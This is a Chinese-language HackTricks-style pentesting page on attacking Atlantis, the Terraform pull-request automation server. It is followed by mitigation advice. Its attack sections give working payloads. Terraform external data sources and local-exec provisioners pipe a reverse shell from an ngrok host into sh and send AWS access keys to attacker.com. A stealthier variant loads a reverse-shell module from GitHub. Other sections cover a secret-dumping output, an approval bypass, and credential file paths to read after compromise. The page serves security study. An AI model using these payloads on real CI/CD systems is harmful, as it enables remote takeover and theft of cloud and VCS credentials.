Atlantis Security

支持HackTricks

基本信息

Atlantis基本上帮助您从git服务器的拉取请求中运行terraform。

本地实验室

  1. 前往https://github.com/runatlantis/atlantis/releasesatlantis发布页面下载适合您的版本。

  2. 创建您的github用户的个人令牌(具有存储库访问权限)

  3. 执行 ./atlantis testdrive,它将创建一个您可以用来与atlantis交互演示存储库

  4. 您可以在127.0.0.1:4141访问网页

Atlantis访问

Git服务器凭据

Atlantis支持多个git主机,如GithubGitlabBitbucketAzure DevOps。 但是,为了访问这些平台上的存储库并执行操作,需要为它们授予一些特权访问权限(至少写入权限)。 文档鼓励在这些平台上创建一个专门用于Atlantis的用户,但有些人可能使用个人帐户。

无论如何,从攻击者的角度来看,Atlantis帐户将是一个非常有趣被入侵目标。

Webhooks

Atlantis可选择使用Webhook密钥来验证从您的Git主机接收的webhooks是否合法

确认的一种方法是允许请求仅来自您的Git主机的IP,但更简单的方法是使用Webhook密钥。

请注意,除非您使用私有github或bitbucket服务器,否则您将需要将webhook端点暴露到互联网上。

Atlantis将公开webhooks,以便git服务器可以向其发送信息。从攻击者的角度来看,了解是否可以向其发送消息将是很有趣的。

提供者凭据

来自文档:

Atlantis通过简单地在托管Atlantis的服务器上执行terraform planapply命令来运行Terraform。就像在本地运行Terraform时一样,Atlantis需要您特定提供者的凭据。

您可以选择如何为Atlantis提供您特定提供者的凭据:

  • Atlantis的Helm ChartAWS Fargate模块有它们自己的提供者凭据机制。请阅读它们的文档。

  • 如果您在云中运行Atlantis,则许多云都有方法为在其上运行的应用程序提供云API访问权限,例如:

  • AWS EC2角色(搜索“EC2角色”)

  • 许多用户设置环境变量,例如AWS_ACCESS_KEY,其中Atlantis正在运行。

  • 其他人创建必要的配置文件,例如~/.aws/credentials,其中Atlantis正在运行。

  • 使用HashiCorp Vault提供者获取提供者凭据。

Atlantis正在运行容器很可能会包含对由Terraform管理的提供者(AWS、GCP、Github等)的特权凭据

网页

默认情况下,Atlantis将在本地主机的端口4141上运行一个网页。此页面只允许您启用/禁用atlantis应用程序并检查存储库的计划状态并解锁它们(不允许修改内容,因此并不那么有用)。

您可能不会发现它暴露在互联网上,但默认情况下不需要凭据访问它(如果需要,atlantis:atlantis默认凭据)。

服务器配置

可以通过命令行标志、环境变量、配置文件或三者混合来指定对atlantis server的配置。

值按照以下顺序选择

  1. 标志

  2. 环境变量

  3. 配置文件

请注意,在配置中您可能会找到诸如令牌和密码等有趣的值。

存储库配置

某些配置会影响存储库的管理方式。但是,可能每个存储库需要不同的设置,因此有方法指定每个存储库。这是优先级顺序:

  1. 存储库/atlantis.yml文件。此文件可用于指定atlantis应如何处理存储库。但是,默认情况下,一些键不能在此处指定,除非允许一些标志。

  2. 可能需要通过像allowed_overridesallow_custom_workflows这样的标志来允许

  3. 服务器端配置:您可以使用--repo-config标志传递它,这是一个为每个存储库配置新设置的yaml(支持正则表达式)

  4. 默认

PR保护

Atlantis允许指定是否希望PR在运行应用之前被其他人**批准(即使在分支保护中没有设置),和/或在运行应用之前可合并**(分支保护已通过)。从安全角度考虑,建议同时设置这两个选项。

如果allowed_overrides为True,则可以通过**/atlantis.yml文件在每个项目上覆盖这些设置**。

脚本

存储库配置可以指定脚本之前预工作流挂钩)和之后后工作流挂钩执行工作流程

存储库/atlantis.yml文件中没有选项允许指定这些脚本。

工作流程

在存储库配置(服务器端配置)中,您可以指定新的默认工作流程,或创建新的自定义工作流程 您还可以指定哪些存储库可以访问生成的新工作流程**。 然后,您可以允许每个存储库的atlantis.yaml文件指定要使用的工作流程

如果服务器端配置标志allow_custom_workflows设置为True,则可以在每个存储库的**atlantis.yaml文件中指定工作流程**。还可能需要**allowed_overrides也指定workflow覆盖将要使用的工作流程**。 这基本上会向可以访问该存储库的任何用户提供Atlantis服务器中的RCE

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest策略检查

Atlantis支持针对计划输出运行服务器端conftest 策略。使用此步骤的常见用例包括:

  • 拒绝使用模块列表

  • 在创建时断言资源的属性

  • 捕获意外资源删除

  • 防止安全风险(例如将安全端口暴露给公众)

您可以查看如何配置它在文档中。

Atlantis命令

文档中,您可以找到可以用来运行Atlantis的选项:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

攻击

如果在利用过程中遇到此错误Error: Error acquiring the state lock

您可以通过运行以下命令来修复:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis计划RCE - 在新PR中修改配置

如果您对存储库具有写入访问权限,您将能够在其中创建一个新分支并生成一个PR。如果您可以执行atlantis plan(或者它可能会自动执行),您将能够在Atlantis服务器内执行RCE

您可以通过让Atlantis加载外部数据源来实现这一点。只需在main.tf文件中放入如下有效负载:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

更隐蔽的攻击

您可以以更隐蔽的方式执行此攻击,方法如下:

  • 不要直接将反向 shell 添加到 terraform 文件中,而是可以加载包含反向 shell 的外部资源

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

你可以在https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules找到反向shell代码。

  • 在外部资源中,使用ref功能来隐藏存储库中的terraform反向shell代码的分支,类似于:git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • 而不是创建一个到主分支的PR来触发Atlantis,创建2个分支(test1和test2),并从一个分支创建一个PR到另一个分支。当攻击完成后,只需删除PR和分支

Atlantis计划机密转储

你可以通过在terraform文件中放置类似以下内容来转储terraform使用的机密运行atlantis plan (terraform plan):

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis应用RCE - 在新PR中修改配置

如果您对存储库具有写入访问权限,则可以在其上创建一个新分支并生成一个PR。如果您可以执行atlantis apply,则可以在Atlantis服务器内部执行RCE。

但是,通常您需要绕过一些保护措施:

  • 可合并性:如果在Atlantis中设置了此保护措施,则只有在PR可合并时才能运行atlantis apply(这意味着需要绕过分支保护)。

  • 检查可能的分支保护绕过

  • 已批准:如果在Atlantis中设置了此保护措施,则其他用户必须在您运行atlantis apply之前批准该PR

  • 默认情况下,您可以滥用Gitbot令牌来绕过此保护

在恶意Terraform文件上运行terraform apply,其中包含local-exec。 您只需要确保类似以下负载的内容出现在main.tf文件中:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

遵循上一个技术的建议以更隐蔽的方式执行此攻击。

Terraform 参数注入

当运行 atlantis planatlantis apply 时,terraform 在后台运行,您可以通过在 atlantis 中注释一些内容来向 terraform 传递命令:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

自定义工作流程

运行在 atlantis.yaml 文件中指定的恶意自定义构建命令。Atlantis 使用来自拉取请求分支的 atlantis.yaml 文件,而不是来自 master 分支。 这种可能性在前面的部分中提到过:

如果服务器端配置标志 allow_custom_workflows 设置为 True,工作流程可以在每个存储库的 atlantis.yaml 文件中指定。还可能需要 allowed_overrides 也指定 workflow覆盖将要使用的工作流程

这基本上会给可以访问该存储库的任何用户在 Atlantis 服务器中执行远程代码的权限。

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

绕过计划/应用保护

如果服务器端配置标志allowed_overrides _已_配置apply_requirements,则可能允许存储库修改计划/应用保护以绕过它们

repos:
- id: /.*/
apply_requirements: []

PR劫持

如果有人在您的有效拉取请求上发送atlantis plan/apply评论,将导致terraform在您不希望运行时运行。

此外,如果您没有在分支保护中配置为在推送新提交时要求重新评估每个PR,某人可以在terraform配置中写入恶意配置(检查先前的情景),运行atlantis plan/apply并获得RCE。

这是Github分支保护中的设置

Webhook密钥

如果您设法窃取了使用的Webhook密钥,或者没有使用任何Webhook密钥,您可以调用Atlantis Webhook并直接调用atlantis命令

Bitbucket

Bitbucket Cloud不支持Webhook密钥。这可能允许攻击者伪造来自Bitbucket的请求。确保只允许Bitbucket IP。

  • 这意味着攻击者可以制作看起来来自Bitbucket的虚假请求发送到Atlantis。

  • 如果您指定了--repo-allowlist,那么他们只能伪造与那些存储库相关的请求,因此他们可能对您自己的存储库进行计划/应用。

  • 为防止此类情况,允许列出Bitbucket的IP地址(请参见Outbound IPv4地址)。

后渗透

如果您设法访问服务器,或者至少获得了LFI,有一些有趣的事情您应该尝试阅读:

  • /home/atlantis/.git-credentials 包含VCS访问凭据

  • /atlantis-data/atlantis.db 包含更多信息的VCS访问凭据

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform状态文件

  • 示例:/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ 环境变量

  • /proc/[2-20]/cmdline atlantis server的Cmd行(可能包含敏感数据)

缓解措施

不要在公共存储库上使用

因为任何人都可以在公共拉取请求上发表评论,即使有所有可用的安全缓解措施,也在没有正确配置安全设置的情况下在公共存储库上运行Atlantis仍然很危险。

不要使用--allow-fork-prs

如果您在公共存储库上运行(不建议,请参见上文),则不应设置--allow-fork-prs(默认为false),因为任何人都可以从其分支向您的存储库打开拉取请求。

--repo-allowlist

Atlantis要求您通过--repo-allowlist标志指定将接受Webhook的存储库的白名单。例如:

  • 特定存储库:--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • 整个组织:--repo-allowlist=github.com/runatlantis/*

  • 您GitHub企业安装中的每个存储库:--repo-allowlist=github.yourcompany.com/*

  • 所有存储库:--repo-allowlist=*。在受保护的网络中很有用,但如果没有设置Webhook密钥,也很危险。

此标志确保您的Atlantis安装不会与您无法控制的存储库一起使用。有关更多详细信息,请参阅atlantis server --help

保护Terraform规划

如果攻击者提交带有恶意Terraform代码的拉取请求在您的威胁模型中,则必须意识到terraform apply批准是不够的。可以使用external数据源运行恶意代码在terraform plan中,或者通过指定恶意提供程序。然后,此代码可能窃取您的凭据。

为防止此情况,您可以:

  1. 将提供程序嵌入Atlantis镜像或主机,并在生产环境中拒绝出站流量。

  2. 在内部实现提供程序注册表协议并拒绝公共出站流量,这样您可以控制谁有写访问权限。

  3. 修改您的服务器端存储库配置plan步骤,以验证是否使用了不允许的提供程序或数据源或来自不允许用户的PR。在这一点上,您还可以添加额外的验证,例如在允许plan继续之前要求对PR进行“点赞”。Conftest可能在这里有用。

Webhook密钥

Atlantis应该通过$ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET环境变量设置Webhook密钥。即使设置了--repo-allowlist标志,如果没有Webhook密钥,攻击者仍然可以伪装成允许列出的存储库向Atlantis发出请求。Webhook密钥确保Webhook请求实际来自您的VCS提供商(GitHub或GitLab)。

如果您使用Azure DevOps,可以添加基本用户名和密码,而不是Webhook密钥。

Azure DevOps基本身份验证

Azure DevOps支持在所有Webhook事件中发送基本身份验证头。这需要在Webhook位置使用HTTPS URL。

SSL/HTTPS

如果您使用Webhook密钥,但流量通过HTTP,则Webhook密钥可能会被窃取。使用--ssl-cert-file--ssl-key-file标志启用SSL/HTTPS。

在Atlantis Web服务器上启用身份验证

强烈建议在Web服务中启用身份验证。使用--web-basic-auth=true启用BasicAuth,并使用--web-username=yourUsername--web-password=yourPassword标志设置用户名和密码。

您还可以将这些作为环境变量传递ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsernameATLANTIS_WEB_PASSWORD=yourPassword

参考资料

支持HackTricks

Last updated